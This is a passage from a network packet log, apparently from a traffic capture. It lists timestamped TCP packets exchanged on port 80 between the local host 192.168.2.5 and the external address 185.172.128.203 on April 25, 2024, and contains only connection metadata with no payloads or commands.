Apr 25, 2024 21:48:26.506728888 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506791115 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506791115 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506803036 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506804943 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506815910 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506828070 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506846905 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506886959 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506902933 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506916046 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506927967 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506939888 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506949902 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506963015 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.506967068 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.506990910 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507024050 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507030964 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507038116 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507055044 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507069111 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507095098 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507175922 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507229090 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507231951 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507244110 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507285118 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507332087 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507332087 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507332087 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507335901 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507360935 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.507378101 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.507395029 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717611074 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717674017 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717680931 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717694044 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717721939 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717737913 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717756033 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717804909 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717819929 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717865944 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717881918 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717924118 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717931032 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717937946 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.717962027 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717979908 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.717983961 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718036890 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718045950 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718086958 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718118906 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718142986 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718162060 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718183994 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718199015 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718236923 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718240976 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718262911 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718285084 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718300104 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718328953 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718370914 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718378067 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718408108 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718416929 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718456030 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718625069 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718667030 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718677998 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718719006 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718729019 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718743086 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718766928 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718797922 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718800068 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718811989 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718835115 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718862057 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718904018 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718915939 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718939066 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718955040 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718969107 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718970060 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.718986034 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.718993902 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719007015 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719028950 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719058990 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719098091 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719110012 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719147921 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719155073 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719167948 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719192028 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719207048 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719227076 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719263077 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719307899 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719343901 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719345093 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719377995 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719400883 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719424963 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719439983 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719460964 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719461918 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719496012 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.719505072 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.719542027 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928494930 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928524017 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928589106 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928595066 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928618908 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928637981 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928641081 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928679943 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928704023 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928777933 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928812981 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928827047 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928864956 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928879023 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928889036 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.928937912 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.928958893 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929003000 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929017067 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929028988 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929066896 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929085016 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929128885 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929151058 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929194927 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929208040 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929254055 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929339886 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929392099 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929415941 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929451942 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929467916 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929492950 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929508924 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929553986 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929573059 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929617882 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929630041 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929642916 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929681063 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929716110 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929760933 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929851055 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929904938 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929929018 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.929971933 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.929995060 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930043936 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930110931 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930124044 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930161953 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930223942 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930270910 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930275917 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930313110 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930327892 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930334091 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930351019 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930352926 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930372000 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930382967 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930382967 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930399895 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930421114 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930438995 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930453062 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930471897 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930491924 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930499077 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930521965 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930530071 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930537939 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930550098 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930586100 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930605888 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930618048 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930655956 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930675030 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930697918 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930720091 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930742979 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930746078 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930774927 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930784941 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930816889 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930816889 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930860996 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930870056 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930916071 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930929899 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930953979 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930977106 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.930991888 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.930999994 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931005955 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931046009 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931062937 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931076050 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931118011 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931128979 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931143045 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931179047 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931220055 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931262970 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931317091 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931360006 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931371927 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931385040 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931396008 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931420088 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931437969 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931476116 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931521893 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931539059 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931581974 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931592941 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931638002 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931667089 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931677103 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931684971 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931698084 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931731939 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931731939 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931734085 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931772947 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931797028 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931809902 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931842089 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931850910 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931862116 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931874990 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931905031 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931919098 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931927919 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931941032 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.931977034 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.931993008 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.932005882 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.932037115 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.932056904 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.932106018 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.932110071 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.932132959 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.932153940 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.932178020 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.932183981 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.932199955 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:26.932223082 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:26.932236910 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139420986 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139471054 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139523983 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139552116 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139616013 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139667034 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139674902 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139715910 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139739037 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139786005 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139806032 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139847994 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139852047 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139892101 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.139904022 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139925957 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139942884 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.139945984 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140018940 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140018940 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140065908 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140126944 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140151024 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140192986 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140207052 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140255928 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140275955 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140316963 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140356064 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140398979 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140400887 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140464067 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140466928 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140490055 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140515089 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140528917 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140594006 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140640020 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140650034 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140681982 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140692949 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140734911 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140747070 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140794039 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140850067 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140892029 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.140901089 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140935898 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.140961885 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141005039 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141016960 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141066074 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141071081 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141089916 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141123056 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141136885 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141149044 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141189098 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141191959 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141217947 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141232967 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141262054 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141268015 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141311884 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141370058 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141381979 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141423941 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.141436100 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.141448021 CEST	80	49713	185.172.128.203	192.168.2.5
